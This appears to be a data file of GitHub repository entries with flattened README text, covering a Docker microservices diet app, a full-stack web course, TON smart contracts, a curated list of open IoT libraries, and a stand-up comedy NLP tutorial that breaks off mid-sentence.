fbrand new fbrand new https github com fbrand new | ai |
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microservice-software-app | microservices architecture with docker a modular approach for diet and meal management h3 developed a microservices based architecture using docker containers for a diet and meal management system h3 ol the architecture consists of four services li style text decoration underline strong diets strong li li strong meals strong li li strong nginx strong li li strong mongodb strong li ol each service operates within its own package and contributes to the overall functionality diets and meals are flask applications nginx acts as a reverse proxy server and mongodb is used as the database the services are connected through a bridge network enabling seamless communication and data management the architecture offers scalability modularity and easy deployment providing an efficient solution for managing diets and meals this project is a part of an academic course software engineering best practices for cloud native applications | cloud |
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full-stack-open-2022 | deep dive into modern web development full stack open 2022 https fullstackopen com en learn react redux node js mongodb graphql typescript react native github actions and docker in one go this course will introduce you to modern javascript based web development the main focus is on building single page applications with reactjs that use rest apis built with node js part 0 fundamentals of web apps https fullstackopen com en part0 general info fundamentals of web apps part 1 introduction to react https fullstackopen com en part1 introduction to react javascript component state event handlers a more complex state debugging react apps part 2 communicating with server https fullstackopen com en part2 rendering a collection modules forms getting data from server altering data in server adding style to react apps part 3 programming a server with nodejs and express https fullstackopen com en part3 node js and express deploying app to internet saving data to mongodb validation and eslint part 4 testing express servers user administration https fullstackopen com en part4 structure of backend application introduction to testing testing and backend user administration token administration part 5 testing react apps https fullstackopen com en part5 login in frontend props children and proptypes testing react apps end to end testing part 6 state management with redux https fullstackopen com en part6 flux architecture and redux many reducers communicating with server in a redux application connect part 7 react router custom hooks styling app with css and webpack https fullstackopen com en part7 react router custom hooks more about styles webpack class components miscellaneous exercises extending the bloglist part 8 graphql https fullstackopen com en part8 graphql server react and graphql database and user administration login and updating the cache fragments and subscriptions part 9 typescript https fullstackopen com en part9 background and introduction first steps with typescript typing the express app react with types part 10 react native https fullstackopen com en part10 introduction to react native react native basics communicating with server testing and extending our application part 11 ci cd https fullstackopen com en part11 introduction to ci cd getting started with github actions deployment keeping green expanding further part 12 containers https fullstackopen com en part12 introduction to containers building and configuring environments basics of orchestration part 13 using relational databases https fullstackopen com en part13 using relational databases with sequelize join tables and queries migrations many to many relationships course certificates full stack certificate parts 0 7 p align center img height 60 width 100 src certificates certificate fullstack png alt fullstack certificate p graphql certificate part 8 p align center img height 60 width 100 src certificates certificate graphql png alt graphql certificate p | react redux nodejs mongodb graphql typescript react-native github-actions docker | front_end |
ton-labs-contracts | everx smart contracts smart contracts for free ton blockchain solidity and c contracts and accompanying documentation are in their respective folders some of the more commonly used contracts safemultisig wallet https github com tonlabs ton labs contracts tree master solidity safemultisig formally verified wallet recommended for validators setcodemultisig wallet https github com tonlabs ton labs contracts tree master solidity setcodemultisig a more advanced version of the wallet that allows to manage custodians depool https github com tonlabs ton labs contracts tree master solidity depool decentralized staking smart contract smv https github com tonlabs ton labs contracts tree master governance smv advanced governance smart contracts debots https github com tonlabs ton labs contracts tree master debots decentralized bot interfaces to smart contracts on free ton | everscale blockchain smart-contracts | blockchain |
awesome-open-iot | awesome open iot awesome https cdn rawgit com sindresorhus awesome d7305f38d29fed78fa85652e3a63e154dd8e8829 media badge svg https github com sindresorhus awesome a curated list of awesome open source iot frameworks libraries and software note that the list only features components we think are particularly relevant for iot e g they are appropriate for use in embedded iot devices deal with the specific constraints of iot communication networks etc the reader will want to refer to the awesome https github com sindresorhus awesome catalog for more references in his her programming language or technical field of choice awesome open iot awesome open iot connectivity connectivity bluetooth 4 0 bluetooth smart ble bluetooth 40 bluetooth smart ble enocean enocean knx knx lora lorawan lora lorawan nfc nfc rs 232 serial rs 232 serial rs 485 rs 485 zigbee zigbee z wave z wave data encoding data encoding cbor cbor flatbuffers flatbuffers protocol buffers protocol buffers data visualization data visualization data storage data storage device discovery device discovery mdns bonjour mdns bonjour upnp upnp gateway gateway home automation home automation messaging messaging coap coap modbus modbus mqtt mqtt mqtt sn mqtt sn opc ua opc ua operating systems operating systems remote management remote management lwm2m lwm2m oma dm oma dm snmp snmp tr 069 tr 069 robotics and physical computing robotics and physical computing security security dns sec dns sec dtls dtls tls tls workflow management workflow management contributing contributing connectivity bluetooth 4 0 bluetooth smart ble name description license language bluez http www bluez org official linux bluetooth protocol stack gpl c gatt https github com paypal gatt br github stars https img shields io github stars paypal gatt svg style social label star maxage 2592000 gatt is a go package for building bluetooth low energy peripherals bsd 3 go noble https github com sandeepmistry noble br github stars https img shields io github stars sandeepmistry noble svg style social label star maxage 2592000 a node js ble bluetooth low energy central module mit node js enocean name description license language enj https github com dog gateway enj library br github stars https img shields io github stars dog gateway enj library svg style social label star maxage 2592000 enj enocean java library asl java python enocean https github com kipe enocean br github stars https img shields io github stars kipe enocean svg style social label star maxage 2592000 a python library for reading and controlling enocean devices mit python serialport enocean parser https github com rafaelka node serialport enocean parser br github stars https img shields io github stars rafaelka node serialport enocean parser svg style social label star maxage 2592000 an enocean serial protocol 3 esp3 parser for node serialport wtfpl node js knx tbc lora lorawan name description license language lora packet forwarder https github com lora net packet forwarder br github stars https img shields io github stars lora net packet forwarder svg style social label star maxage 2592000 a program running on the host of a lora gateway that forward rf packets receive by the concentrator to a server through a ip udp link and emits rf packets that are sent by the server bsd 3 c the things network https github com thethingsnetwork ttn br github stars https img shields io github stars thethingsnetwork ttn svg style social label star maxage 2592000 a complete lorawan network stack router broker message handler mit go nfc name description license language libnfc https github com nfc tools libnfc br github stars https img shields io github stars nfc tools libnfc svg style social label star maxage 2592000 libnfc is a library which allows userspace application access to nfc devices lgpl v3 c go nfc https github com fuzxxl nfc br github stars https img shields io github stars fuzxxl nfc svg style social label star maxage 2592000 go bindings for libnfc lgpl v3 go node nfc https github com camme node nfc br github stars https img shields io github stars camme node nfc svg style social label star maxage 2592000 node js bindings for libnfc mit node js java nfc https github com grundid nfctools br github stars https img shields io github stars grundid nfctools svg style social label star maxage 2592000 nfctools library for java asl java rs 232 serial name description license language java simple serial connector https github com fazecast jserialcomm br github stars https img shields io github stars fazecast jserialcomm svg style social label star maxage 2592000 platform independent serial port access for java lgpl java rxtx https github com rxtx rxtx br github stars https img shields io github stars rxtx rxtx svg style social label star maxage 2592000 a java cross platform wrapper library for the serial port lgpl java c openjdk device io http openjdk java net projects dio the device i o project provides a java level api for accessing generic device peripherals on embedded devices gpl w classpath exception java c rs 485 tbc zigbee tbc z wave tbc data encoding this section focuses on data encoding formats that are particularly appropriate for iot scenarios i e bandwidth or battery efficient small memory footprint cbor name description license language tinycbor https github com 01org tinycbor br github stars https img shields io github stars 01org tinycbor svg style social label star maxage 2592000 tinycbor is intel s industrial strength c c implementation of cbor as used in the iotivity framework mit c more at http cbor io impls html flatbuffers name description license language offical libraries from google https github com google flatbuffers br github stars https img shields io github stars google flatbuffers svg style social label star maxage 2592000 flatbuffers is an efficient cross platform serialization library for games and other memory constrained apps aslv2 c c c go java javascript php python protocol buffers name description license language offical libraries from google https github com google protobuf br github stars https img shields io github stars google protobuf svg style social label star maxage 2592000 protocol buffers a k a protobuf are google s language neutral platform neutral extensible mechanism for serializing structured data bsd 3 c java python objective c c javascript ruby go nanopb https github com nanopb nanopb br github stars https img shields io github stars nanopb nanopb svg style social label star maxage 2592000 nanopb is a small code size protocol buffers implementation in ansi c it is especially suitable for use in microcontrollers but fits any memory restricted system bsd 3 c data visualization see awesome dataviz https github com fasouto awesome dataviz data storage name description license language cratedb https github com crate crate br github stars https img shields io github stars crate crate svg style social label star maxage 2592000 cratedb is a distributed sql database that makes it simple to store and analyze massive amounts of machine data in real time apache 2 0 java device discovery mdns bonjour name description license language mdns https github com hashicorp mdns br github stars https img shields io github stars hashicorp mdns svg style social label star maxage 2592000 simple mdns client server library in golang mit go bonjour https github com oleksandr bonjour br github stars https img shields io github stars oleksandr bonjour svg style social label star maxage 2592000 mdns dns sd also known as apple bonjour library for go in pure go mit go node mdns http agnat github io node mdns br github stars https img shields io github stars agnat node mdns svg style social label star maxage 2592000 mdns zeroconf bonjour service discovery add on for node js mit node js mdnsjava https github com posicks mdnsjava br github stars https img shields io github stars posicks mdnsjava svg style social label star maxage 2592000 multicast dns mdns dns based service discovery dns sd in java bsd java upnp name description license language goupnp https github com huin goupnp br github stars https img shields io github stars huin goupnp svg style social label star maxage 2592000 goupnp is a upnp client library for go bsd 2 go upnpserver https github com oeuillot upnpserver br github stars https img shields io github stars oeuillot upnpserver svg style social label star maxage 2592000 fast and light upnp server for node js gplv2 node js cling http 4thline org projects cling java android upnp library and tools lgpl cddl 1 0 java gateway name description license language eclipse kura https eclipse org kura br github stars https img shields io github stars eclipse kura svg style social label star maxage 2592000 eclipse kura is a java osgi based framework for iot gateways java openwrt https openwrt org openwrt is an embedded operating system based on the linux kernel primarily used on embedded devices to route network traffic gplv2 c lua ubos http ubos net br github stars https img shields io github stars uboslinux ubos admin svg style social label star maxage 2592000 ubos is an arch derived linux distro optimized for cost efficient administration personal servers and indie iot devices linux many home automation name description license language calaos https calaos fr en br github stars https img shields io github stars calaos calaos base svg style social label star maxage 2592000 calaos is a free software project gplv3 that lets you control and monitor your home gplv3 c freedomotic http www freedomotic com br github stars https img shields io github stars freedomotic freedomotic svg style social label star maxage 2592000 freedomotic is an open source flexible secure internet of things iot development framework useful to build and manage modern smart spaces gplv2 java openhab https github com openhab openhab br github stars https img shields io github stars openhab openhab svg style social label star maxage 2592000 the open home automation bus openhab project aims at providing a universal integration platform for all things around home automation epl java eclipse smarthome http eclipse org smarthome br github stars https img shields io github stars eclipse smarthome svg style social label star maxage 2592000 the eclipse smarthome project is a framework that allows building smart home solutions that have a strong focus on heterogeneous environments it provides a uniform access to devices and information and to facilitate different kinds of interactions with them epl java home assistant https home assistant io br github stars https img shields io github stars home assistant home assistant svg style social label star maxage 2592000 home assistant is a home automation platform running on python 3 it is able to track and control all devices at home and offer a platform for automating control apache 2 0 python 3 messaging coap name description license language californium http www eclipse org californium br github stars https img shields io github stars eclipse californium svg style social label star maxage 2592000 californium is a java coap implementation for iot cloud services epl edl java microcoap https github com 1248 microcoap br github stars https img shields io github stars 1248 microcoap svg style social label star maxage 2592000 a small coap implementation for microcontrollers mit c arduino gocoap https github com dustin go coap br github stars https img shields io github stars dustin go coap svg style social label star maxage 2592000 implementation of coap in go mit go node coap https github com mcollina node coap br github stars https img shields io github stars mcollina node coap svg style social label star maxage 2592000 node coap is a node js client and server library for coap modelled after the http module mit node js modbus name description license language go modbus https github com goburrow modbus br github stars https img shields io github stars goburrow modbus svg style social label star maxage 2592000 fault tolerant implementation of modbus protocol in go bsd 3 go j2mod https github com steveohara j2mod br github stars https img shields io github stars steveohara j2mod svg style social label star maxage 2592000 enhanced modbus library implemented in the java programming language apache java libmodbus https github com stephane libmodbus br github stars https img shields io github stars stephane libmodbus svg style social label star maxage 2592000 libmodbus is a free software library to send receive data with a device which respects the modbus protocol this library can use a serial port or an ethernet connection lgpl v2 1 c modbus4j https github com infiniteautomation modbus4j br github stars https img shields io github stars infiniteautomation modbus4j svg style social label star maxage 2592000 a high performance and ease of use implementation of the modbus protocol written in java by infinite automation systems and serotonin software supports ascii rtu tcp and udp transports as slave or master automatic request partitioning and response data type parsing gpl v3 java node modbus stack https github com tootallnate node modbus stack br github stars https img shields io github stars tootallnate node modbus stack svg style social label star maxage 2592000 a streamstack implementation of the modbus protocol for nodejs mit node js pymodbus https github com bashwork pymodbus br github stars https img shields io github stars bashwork pymodbus svg style social label star maxage 2592000 a full modbus protocol written in python bsd python mqtt name description license language eclipse paho http www eclipse org paho the eclipse paho project provides open source client implementations of mqtt epl edl java python javascript go c net c embedded c c eclipse mosquitto https mosquitto org br github stars https img shields io github stars eclipse mosquitto svg style social label star maxage 2592000 eclipse mosquitto is an open source message broker that implements the mqtt protocol versions 3 1 and 3 1 1 this makes it suitable for internet of things messaging such as with low power sensors or mobile devices such as phones embedded computers or microcontrollers like the arduino epl edl c python moquette https github com andsel moquette br github stars https img shields io github stars andsel moquette svg style social label star maxage 2592000 moquette is a lightweight mqtt broker in java aslv2 java mqtt js https github com mqttjs mqtt js br github stars https img shields io github stars mqttjs mqtt js svg style social label star maxage 2592000 mqtt js is a client library for the mqtt protocol written in javascript for node js and the browser mit javascript mqtt sn name description license language mqtt sn tools https github com njh mqtt sn tools br github stars https img shields io github stars njh mqtt sn tools svg style social label star maxage 2592000 command line tools written in c for the mqtt sn mqtt for sensor networks protocol mit c opc ua name description license language eclipse milo https eclipse org milo br github stars https img shields io github stars eclipse milo svg style social label star maxage 2592000 eclipse milo provides all the tools necessary to implement opc unified architecture ua client and or server functionality in any jvm based project epl edl java node opcua http node opcua github io br github stars https img shields io github stars node opcua node opcua svg style social label star maxage 2592000 an implementation of a opc ua stack fully written in javascript and node js mit node js opc ua net http opcfoundation github io ua net br github stars https img shields io github stars opcfoundation ua net svg style social label star maxage 2592000 the official opc foundation opc ua net stack and sample applications gplv2 net open62541 http open62541 org br github stars https img shields io github stars open62541 open62541 svg style social label star maxage 2592000 an open source and free c c99 opc ua stack licensed mplv2 c operating systems name description license language contiki https github com contiki os contiki br github stars https img shields io github stars contiki os contiki svg style social label star maxage 2592000 contiki is an open source operating system for the internet of things contiki connects tiny low cost low power microcontrollers to the internet bsd 3 c freertos http www freertos org a cross platform real time operating system gpl like c mbed os https www mbed com en development software mbed os arm mbed os is an open source embedded operating system designed specifically for the things in the internet of things iot it includes all the features you need to develop a connected product based on an arm cortex m microcontroller aslv2 c c openwrt https openwrt org openwrt is an embedded operating system based on the linux kernel primarily used on embedded devices to route network traffic gplv2 c lua riot os https github com riot os riot br github stars https img shields io github stars riot os riot svg style social label star maxage 2592000 riot os is an operating system for internet of things iot devices it is based on a microkernel and designed for energy efficiency hardware independent development and a high degree of modularity lgpl c ubos http ubos net br github stars https img shields io github stars uboslinux ubos admin svg style social label star maxage 2592000 ubos is an arch derived linux distro optimized for cost efficient administration personal servers and indie iot devices linux many zephyr https www zephyrproject org zephyr project is a small scalable real time operating system for use on resource constrained systems supporting multiple architectures aslv2 c remote management libraries that can be used to implement remote management of iot devices lwm2m name description license language betwixt https github com zubairhamed betwixt br github stars https img shields io github stars zubairhamed betwixt svg style social label star maxage 2592000 betwixt is a lwm2m client and server in go asl go eclipse leshan https eclipse org leshan br github stars https img shields io github stars eclipse leshan svg style social label star maxage 2592000 eclipse leshan is a lwm2m implementation in java epl edl java lwm2m node lib https github com telefonicaid lwm2m node lib br github stars https img shields io github stars telefonicaid lwm2m node lib svg style social label star maxage 2592000 lwm2m node lib is a library for building lwm2m applications client and server in javascript agpl node js eclipse wakaama https eclipse org wakaama br github stars https img shields io github stars eclipse wakaama svg style social label star maxage 2592000 eclipse wakaama is a lwm2m implementation in c epl edl c awalwm2m https github com flowm2m awalwm2m br github stars https img shields io github stars flowm2m awalwm2m svg style social label star maxage 2592000 awa lwm2m is an implementation of the oma lightweight m2m protocol in c bsd 3 c oma dm name description license language libdmclient https github com 01org libdmclient br github stars https img shields io github stars 01org libdmclient svg style social label star maxage 2592000 libdmclient implements the client side of oma dm 1 2 protocol asl c snmp name description license language snmp4j http www snmp4j org snmp4j is an enterprise class free open source and state of the art snmp implementation for java se 1 4 or later asl java gosnmp https github com alouca gosnmp br github stars https img shields io github stars alouca gosnmp svg style social label star maxage 2592000 a simple snmp library written in go bsd go tr 069 name description license language netcwmp https github com netcwmp netcwmp br github stars https img shields io github stars netcwmp netcwmp svg style social label star maxage 2592000 a software client for enabling tr 069 in embedded devices aslv2 c robotics and physical computing name description license language artoo https github com hybridgroup artoo br github stars https img shields io github stars hybridgroup artoo svg style social label star maxage 2592000 artoo is a micro framework for robotics using ruby aslv2 ruby cylon js https github com hybridgroup cylon br github stars https img shields io github stars hybridgroup cylon svg style social label star maxage 2592000 cylon js is a javascript framework for robotics physical computing and the internet of things aslv2 node js gobot https github com hybridgroup gobot br github stars https img shields io github stars hybridgroup gobot svg style social label star maxage 2592000 gobot is a framework using the go programming language for robotics physical computing and the internet of things aslv2 go security dns sec name description license language dnsruby https github com alexdalitz dnsruby br github stars https img shields io github stars alexdalitz dnsruby svg style social label star maxage 2592000 dnsruby is a pure ruby dns client library which implements a stub resolver and supports dnssec aslv2 ruby dnssecjava https github com ibauersachs dnssecjava br github stars https img shields io github stars ibauersachs dnssecjava svg style social label star maxage 2592000 a dnssec validating stub resolver for java epl java dtls name description license language dtls go https github com cfromknecht dtls br github stars https img shields io github stars cfromknecht dtls svg style social label star maxage 2592000 dtls 1 2 in go mit go eclipse scandium http www eclipse org californium br github stars https img shields io github stars eclipse californium svg style social label star maxage 2592000 the scandium sc sub project within californium implements dtls 1 2 to secure your application through ecc with pre shared keys certificates or raw public keys epl edl java eclipse tinydtls http www eclipse org tinydtls tinydtls is a library for datagram transport layer security dtls covering both the client and the server state machine tinydtls is a library for datagram transport layer security dtls covering both the client and the server state machine epl edl c mbed tls https tls mbed org mbed tls previously polarssl is an implementation of the tls and ssl protocols and the respective cryptographic algorithms and support code required aslv2 c openssl https www openssl org openssl is an open source project that provides a robust commercial grade and full featured toolkit for the transport layer security tls and secure sockets layer ssl protocols openssl ssleay c assembly pydtls https github com rbit pydtls br github stars https img shields io github stars rbit pydtls svg style social label star maxage 2592000 datagram transport layer security for python aslv2 python tls name description license language mbed tls https tls mbed org mbed tls previously polarssl is an implementation of the tls and ssl protocols and the respective cryptographic algorithms and support code required aslv2 c openssl https www openssl org openssl is an open source project that provides a robust commercial grade and full featured toolkit for the transport layer security tls and secure sockets layer ssl protocols openssl ssleay c assembly workflow management name description license language node red https github com node red node red br github stars https img shields io github stars node red node red svg style social label star maxage 2592000 a visual tool for wiring the internet of things asl node js huginn https github com cantino huginn br github stars https img shields io github stars cantino huginn svg style social label star maxage 2592000 huginn is a system for building agents that perform automated tasks for you online mit ruby nebula http nebula readthedocs io br a docker orchestrator designed to manage iot devices gpl v3 python contributing contributions are very welcome in order to be considered an awesome open iot project you need the following valid osi approved license https opensource org licenses alphabetical proven record of regular commits significant community interest shown through github stars project is focused on solving problems that are specific to iot please also have a look at this contributing guide https github com akullpp awesome java blob master contributing md for some general guidelines | server |
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nlp-stand-up-comedy | stand up comedy and nlp this natural language processing python project started from this tutorial https www youtube com watch v xvqsftusomc this project started because the instructor alice zhao saw a stand up comedian for the first time and she really loved it but she wanted to figure out what makes ali wong s routine different than other comedians https cdn images 1 medium com max 2824 1 9ygp3lt62ryl61h 005zrg png this project uses several nlp libraries including nltk textblob gensim as well as standard machine learning libraries like pandas and scikit learn i ll be using the the jupyter notebook ide from the anaconda distribution https www anaconda com distribution i will post the entire jupyter notebook at the end of this blog as well as code snippets that you can follow along with as i go there are a few python packages i will be using that are not included in anaconda wordcloud textblob and gensim they can be installed with the following commands conda install c conda forge wordcloud conda install c conda forge textblob conda install c conda forge gensim in this end to end project i will 1 start with a question 1 get and clean the data 1 perform exploratory data analysis 1 apply nlp techniques 1 share insights 1 start with a question the goal is to look at transcripts of various comedians and note their similarities and differences specifically i m trying to determine how ali wong s comedy style is different than other comedians 2 data gathering and cleaning here is the full jupyter notebook https gist github com nwams da9290c4a21c1fddfc5cba9f82f8ba5a with the entire code for this section gathering the transcript i need to get the transcript from her netflix special called baby cobra but how where do we get the transcript doing a google search for her transcript shows that a site called scraps from the loft https scrapsfromtheloft com has full transcripts of several comedians routines as well as ali wong s http scrapsfromtheloft com 2017 09 19 ali wong baby cobra 2016 full transcript when i inspect the elements using chrome developer tools i can see that all of the transcript data is in the div class post content here s a screenshot https cdn images 1 medium com max 2734 1 tu55elv0s7kkgosggbvetq png defining the scope of a machine learning project is a very important step so in deciding how much data to gather the scope will be limited to the following criteria 1 comedy specials within the past 5 years 1 use only comedy specials that have an imdb https www imdb com ref nv home rating of at least 7 5 stars and 2000 votes 1 select the top 12 stand up comics this is where domain expertise is crucial if you re not sure you should do a sanity check with someone who knows the industry well in order to gather this data i will have to scrape the website i will use the requests https 3 python requests org package to get info from the website and the beautiful soup https pypi org project beautifulsoup4 package to extract portions of the site here is the code snippet for gathering the data https medium com media 80cc3cc9934422b18aad9abf3d115587 next i created a dictionary named data where every key is a comedian and every value is the transcript i need the output in a clean and organized format that i can use for further analysis so i will be creating 1 a corpus and 2 a document term matrix a corpus is a collection of text and a document term matrix is just word counts in a matrix format creating a corpus in the code i go through a few steps to create a dictionary with the format key comedian value string and then i convert it to a pandas dataframe all of this can be found in the jupyter notebook now on to the next step cleaning the data why perform these cleaning steps because i want the computer to try to understand only the most important parts of the text here are some common data cleaning steps that are usually done on all text make text lower case remove punctuation remove stop words remove numerical values remove common non sensical text like newline characters n tokenize the text below is a code snippet that shows how to clean the data https medium com media fa6ea06607d1f0eb2d8f2676ff9b968d here is my corpus https cdn images 1 medium com max 2818 1 xl hvq5hlyxxu1vadwbxxw png creating a document term matrix let s walkthrough this concept using a line from john mulaney s routine http scrapsfromtheloft com 2017 08 02 john mulaney comeback kid 2015 full transcript all right petunia wish me luck out there you will die on august 7th 2037 how can a computer read this text i will need to 1 clean it 2 tokenize it and 3 put it into a matrix remember in the section above i did some initial cleaning by removing punctuation remove numbers and making all letters lowercase after the first pass at cleaning it now looks like this all right petunia wish me luck out there you will die on august now i will tokenize the text tokenization means splitting the text into smaller parts tokenization can be done as sentences bi grams or words i will tokenize by words so that every word will be its own item https cdn images 1 medium com max 2512 1 hf 7f8hjwv7r91jd7m8twa png now i will remove stop words words with very little meaning like a the and it after removing the stop words i m left with https cdn images 1 medium com max 2496 1 y vhyirlcebafe yrnq2a png more simply put i m left with just the following words right petunia wish luck die august this is called a bag of words model bag of words is just a group of text where the order doesn t matter it s a simple and powerful way to represent text data now using this i can create a document term matrix that counts the occurrence of words used by each comedian https cdn images 1 medium com max 2652 1 82rzspqlqudfazirxkendq png the numbers are word counts each row is a different document or transcript for our case each column is a different term or word for our case here s a code snippet below of the process of creating a document term matrix let s use scikit learn s countvectorizer to tokenize and remove stop words https medium com media c6130662eed986e19a168e4ea5098851 here s a screenshot of the actual document term matrix notice that is has over 7 000 columns so it s quite long and it would be even longer if we had included bi grams https cdn images 1 medium com max 2818 1 n5g0pav0emzjmculz2wo5a png if we wanted to further clean the text after tokenization there are more steps we could take stemming lemmatization which is grouping words like driving drive drives as the same we could do parts of speech tagging create bi grams like turning thank you into one term and also deal with typos etc 3 exploratory data analysis here is the full jupyter notebook https gist github com nwams d9219470fec8783e44c8062bd82ec99c with the entire code for this section here s the fun part the goal of eda is to summarize the main characteristics of the data which will help us to determine if the trends make sense it s often best to do this visually and it s best to do eda before applying machine learning algorithms i m going to start by looking at the most common words used most by each comedian i ll also look at the size of their vocabulary because it would be interesting to see if some comedians have a higher vocabulary than others and lastly i ll explore the amount of profanity this came after i saw the top words you ll notice that the comedians use a lot of cuss words here we go top words sort across the document term matrix to find the top words and visualize the data using word clouds http amueller github io word cloud as mentioned in the beginning of this blog the word cloud package is not included in anaconda so you ll have to download it using this command conda install c conda forge wordcloud i looked at the top 30 words said per each comedian along with a count of how many times it was said i noticed that there were a lot of non meaningful words such as like im and know amongst all comedians the picture below of the top 15 words said by each comedian shows that a lot of stop words are included top 15 words said by each comedian https cdn images 1 medium com max 2580 1 5hau71ybkftsmacojmww4q png top 15 words said by each comedian if these common words occur as top words by more than 50 of the comedians then i ll add those words to the list of stop words therefore i will be adding these to the list of stop words like im know just dont thats right people youre got time gonna think oh yeah said after recreating a new document term matrix that includes the additional stop words i made a word cloud to visualize the most common words for each comedian https cdn images 1 medium com max 2580 1 1l0dhhvz9e6nxirux8kelg png notice that ali wong says the s word a lot as well as ok and husband the instructor of this tutorial resonates with this because she says ok a lot too and thinks her routine is funny because she also talks about her husband a lot too you ll also notice that a lot of people say the f word a lot which we ll also explore in a bit number of words i want to see how big of a vocabulary they have so i ll count how many unique words they use but another thing that i ll look at is the number of words per minute based on how long their entire comedy special was here s a pandas dataframe that shows the unique words and the words per minute https cdn images 1 medium com max 2580 1 bh44oidigf9zecgvrvc1aa png i like to begin visualizing in the simplest ways possible first so i ll create a simple horizontal bar plot https cdn images 1 medium com max 2580 1 jz0wfv6wngohj72gaqoncw png i can see that ricky and bill have a the highest vocabulary while anthony has the lowest vocabulary additionally i can see that joe rogan talks the fastest while anthony talks the slowest but this visualization doesn t yield any particularly interesting insights regarding ali wong so let s move on profanity remember in the word cloud above i noted that people say the f word and the s word a lot so i m going to dive deeper into that by making a scatter plot that shows f word and s word usage https cdn images 1 medium com max 2446 1 8a4o8mekrd9vy9pbufszjg png notice that bill burr joe rogan and jim jefferies use the f word a lot the instructor doesn t like too much profanity so that might explain why she s never heard of these guys she likes clean humor so profanity could be a good indicator of the type of comedy she likes besides ali wong her other two favorite comedians are john mulaney and mike birbiglia notice how john and mike are also very low on the use of profanity mike actually doesn t use any s words or f words at all remember that the goal of exploratory data analysis is to take an initial look at the data to see if it makes sense there s always room for improvement like more intense clean up including more stop words bi grams etc however perfection can serve to your disadvantage the results including profanity are interesting and in general it makes sense since the science of machine learning is an iterative process it s best to get some reasonable results early on to determine whether your project is going in a successful direction or not delivering tangible results is key 4 apply nlp techniques sentiment analysis here s the full jupyter notebook https gist github com nwams e446596ce07b08386af2aedd3116f8a7 with the entire code for this section because order is important in sentiment analysis i will use the corpus not the document term matrix i will use textblob https textblob readthedocs io en dev a python library that provides rule based sentiment scores for each comedian i will assign a polarity score that tells how positive or negative they are and a subjectivity score that tells how opinionated they are but before we jump into using the textblob module it s important to understand what s happening in the code let s take a look under the hood a linguist named tom de smedt created a lexicon en sentiment xml https github com sloria textblob blob eb08c120d364e908646731d60b4e4c6c1712ff63 textblob en en sentiment xml where he manually assigned adjective words with polarity and subjectivity values subjectivity lexicon for english adjectives https cdn images 1 medium com max 2734 1 thkayfuevjfcakxlcsdokw png subjectivity lexicon for english adjectives from the image above note that wordnet https wordnet princeton edu is a large english dictionary created by princeton i will output a polarity score which tells how positive negative they are and a subjectivity score which tells how opinionated they are from the text py file in textblob s github https github com sloria textblob blob eb08c120d364e908646731d60b4e4c6c1712ff63 textblob text py there s a section that defines the following words have a polarity negative positive of 1 0 to 1 0 and a subjectivity objective subjective of 0 0 to 1 0 the part of speech tags pos tags nn noun and jj adjective and the reliability specifies if an adjective was hand tagged 1 0 or inferred 0 7 negation words e g not reverse the polarity of the following word https cdn images 1 medium com max 2734 1 6c4tuuk0kcjnc9qusmq 6g png i use the corpus during my sentiment analysis not the document term matrix because order matters for example great positive but not great negative textblob handles negation by multiplying the polarity by 0 5 and handles modifier words by multiplying the subjectivity of the following word by 1 3 since great has a subjectivity of 0 75 very great will have a subjectivity of 0 975 which is just 0 75 1 3 notice that the word great occurs in the lexicon https github com sloria textblob blob eb08c120d364e908646731d60b4e4c6c1712ff63 textblob en en sentiment xml 4 times in this situation textblob will just take the average of the 4 scores this is very basic and there s nothing fancy or advanced happening here behind the scenes so this is why it s important for us to know what s happening behind the scenes before we use a module overall textblob will find all of the words and phrases that it can assign a polarity and subjectivity score to and it averages all of them together so at the end of this task each comedian will be assigned one polarity score and one subjectivity score however be aware that this rules based approach that textblob uses is not the most sophisticated but it is a good starting point there are also other statistical methods out there like naive bayes after creating a simple sentiment analysis scatter plot of the polarity and the subjectivity i can see that dave chappelle s routine is the most negative out of them all and john mulaney is most similar to ali wong while ricky gervais isn t too far away either https cdn images 1 medium com max 2000 1 hhk l3fwzgemqktq mkxyg png in addition to the overall sentiment it would also be interesting to also look at the sentiment over time throughout each routine so i ll split each comedian s routine into 10 chunks and assess their polarity pattern to see if i can draw additional insights https cdn images 1 medium com max 3028 1 wo3wfgm jn350 qxieo pw png ali wong remained consistently positive throughout her routine louis c k and mike birbiglia are similar to her topic modeling here s the full jupyter notebook https gist github com nwams 9a44423d8e787e678a7fe233fa051265 with the entire code for this section now i d like to find themes across various comedy routines and see which comedians tend to talk about which themes in other words i want to see what topics are being said in this document i will use the document term matrix because order doesn t matter thus the bag of words model is a good starting point i will be using the gensim https github com rare technologies gensim library a python toolkit built specifically for topic modeling to apply a popular topic modeling technique called latent dirichlet allocation lda lda is one of many topic modeling techniques also i will be using nltk for parts of speech tagging what is lda and how does it work latent means hidden and dirichlet is a type of probability distribution so i m looking at the probability distribution in the text in order to find hidden topics lda is an unsupervised algorithm you ll find that lda is really useful when you have really large documents and have no idea what they re about here are two simple but important definitions every document consists of a mix of topics and every topic consists of a mix of words https cdn images 1 medium com max 3028 1 fz7e amdbje6owjkl3vhrq png the goal is for lda to learn what all of the topics in the document and what are all of the words in each topic every topic is a probability distribution of words something like this topic a 40 banana 30 kale 10 breakfast topic b 30 kitten 20 puppy 10 frog 5 cute here s a visual summary of what lda is about https cdn images 1 medium com max 3028 1 zgqpcbuxf5rtx1fpf5fh q png here s how lda works 1 you choose the number of topics you think are in your corpus example k 2 1 lda randomly and temporarily assigns each word in each document to one of the 2 topics the word banana in document 1 is randomly assigned to topic b the animal like topic 1 lda will go through every word its assigned topic and it will update the topic assignments so let s say banana is assigned to the animal topic it will decide whether it should re assign it to the food topic by first checking how often the animal topic occurs in the document then secondly it will check how often the word banana occurs in the animal topic both of those probabilities are low so it will re assign banana to the other food topic here s the math behind it proportion of words in document d that are currently assigned to topic t p topic t document d and proportion of assignments to topic t over all documents that come from this word w p word w topic t multiply those two proportions and assign w a new topic based on that probability p topic t document d p word w topic t 1 you have to go through multiple iterations of previous step go through a few dozen iterations yourself and eventually the topics should start making sense if the topics don t make sense then more data cleaning is needed the gensim package will do steps 2 and 3 for you it is up to you to set the number of topics you want step 1 and how many iterations you want to go through step 4 gensim will output the top words in each topic it s your job as a human to interpret the results to figure out what the topics are if not try altering the parameters either terms in the document term matrix number of topics iterations etc stop when you re able to come up with topics that make sense topic modeling with all of the text in my first attempt i set the number of topics to 2 and the number of times the algorithm will pass over the whole matrix to 10 i then trained the lda model using all of the words from my term document matrix i ll start by setting the number of topics to 2 assess and then increment if needed these are the words output from the lda model when number of topics is 2 https cdn images 1 medium com max 3028 1 fcqnfkrjltyrb5zt lq6sw png it s not making 